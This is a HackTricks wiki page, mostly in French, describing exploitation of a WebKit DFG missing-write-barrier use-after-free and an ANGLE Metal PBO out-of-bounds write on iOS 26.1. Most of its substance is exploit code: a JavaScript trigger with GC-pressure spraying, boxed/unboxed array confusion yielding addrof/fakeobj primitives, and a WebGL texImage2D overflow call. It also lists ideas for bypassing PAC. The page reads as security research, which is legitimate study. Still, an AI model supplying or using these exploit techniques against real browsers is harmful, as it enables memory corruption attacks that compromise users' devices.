WebKit DFG Store-Barrier UAF + ANGLE PBO OOB (iOS 26.1)
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
Summary
- DFG Store Barrier bug (CVE-2025-43529) : Dans
DFGStoreBarrierInsertionPhase.cpp, un nœud Phi marqué comme escaped alors que ses entrées Upsilon ne le sont pas fait que la phase omet d’insérer une write barrier sur les stockages d’objets suivants. Sous pression du GC, ceci permet à JSC de libérer des objets encore atteignables → use-after-free. - Exploit target : Forcer un objet Date à matérialiser un butterfly (p. ex.,
a[0] = 1.1) pour que le butterfly soit libéré, puis réaffecté comme stockage d’éléments de tableau afin de créer une confusion boxed/unboxed → primitivesaddrof/fakeobj. - ANGLE Metal PBO bug (CVE-2025-14174) : Le backend Metal alloue le staging buffer PBO en utilisant
UNPACK_IMAGE_HEIGHTau lieu de la vraie hauteur de la texture. Fournir une petite unpack height puis lancer un grandtexImage2Dprovoque un staging-buffer OOB write (~240KB dans le PoC ci‑dessous). - PAC blockers on arm64e (iOS 26.1) : TypedArray
m_vectoret JSArraybutterflysont PAC-signed ; forger de faux objets avec des pointeurs choisis par l’attaquant provoque un crashEXC_BAD_ACCESS/EXC_ARM_PAC. Seule la réutilisation de butterflies déjà signés (réinterprétation boxed/unboxed) fonctionne.
Triggering the DFG missing barrier → UAF
function triggerUAF(flag, allocCount) {
const A = {p0: 0x41414141, p1: 1.1, p2: 2.2};
arr[arr_index] = A; // Tenure A in old space
const a = new Date(1111); a[0] = 1.1; // Force Date butterfly
// GC pressure
for (let j = 0; j < allocCount; ++j) forGC.push(new ArrayBuffer(0x800000));
const b = {p0: 0x42424242, p1: 1.1};
let f = b; if (flag) f = 1.1; // Phi escapes, Upsilon not escaped
A.p1 = f; // Missing barrier state set up
for (let i = 0; i < 1e6; ++i) {} // GC race window
b.p1 = a; // Store without barrier → frees `a`/butterfly
}
Points clés:
- Placer A dans old space pour exercer les generational barriers.
- Créer un Date indexé pour que le butterfly soit la cible libérée.
- Spray
ArrayBuffer(0x800000)pour forcer GC et augmenter la fenêtre de race. - Le mismatch d’échappement Phi/Upsilon empêche l’insertion de barrières ;
b.p1 = as’exécute sans write barrier, donc GC récupèrea/butterfly.
Récupération du butterfly → confusion boxed/unboxed
Après que GC libère le Date butterfly, spray des arrays pour que la freed slab soit réutilisée comme elements pour deux arrays avec different element kinds:
boxed_arr[0] = obj; // store as boxed pointer
const addr = ftoi(unboxed_arr[0]); // read as float64 → addr leak
unboxed_arr[0] = itof(addr); // write pointer bits as float
const fake = boxed_arr[0]; // reinterpret as object → fakeobj
Status on iOS 26.1 (arm64e):
- Working:
addrof,fakeobj, 20+ address leaks per run, inline-slot read/write (on known inline fields). - Not stable yet: generalized
read64/write64via inline-slot backings.
PAC constraints on arm64e (pourquoi fake objects crash)
- TypedArray
m_vectoret JSArraybutterflysont PAC-signed ; forging pointers provoqueEXC_BAD_ACCESS/ probablementEXC_ARM_PAC. - La primitive de confusion fonctionne parce qu’elle reuses legitimate signed butterflies ; introducing unsigned attacker pointers fails authentication.
- Idées potentielles de contournement notées : JIT paths that skip auth, gadgets that sign attacker pointers, or pivoting through the ANGLE OOB.
ANGLE Metal PBO under-allocation → OOB write
Utiliser une très petite unpack height pour réduire le staging buffer, puis uploader une grande texture afin que la copie dépasse :
gl.pixelStorei(gl.UNPACK_IMAGE_HEIGHT, 16); // alloc height
// staging = 256 * 16 * 4 = 16KB
// actual = 256 * 256 * 4 = 256KB → ~240KB OOB
gl.texImage2D(gl.TEXTURE_2D, 0, gl.DEPTH_COMPONENT32F,
256, 256, 0, gl.DEPTH_COMPONENT, gl.FLOAT, 0);
Remarques:
- Bug dans
TextureMtl.cpp: le staging buffer utiliseUNPACK_IMAGE_HEIGHTau lieu de la hauteur réelle de la texture sur le chemin PBO. - Dans la sonde de référence, le déclencheur WebGL2 PBO est raccordé mais pas encore observé de manière fiable sur iOS 26.1.
Références
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.


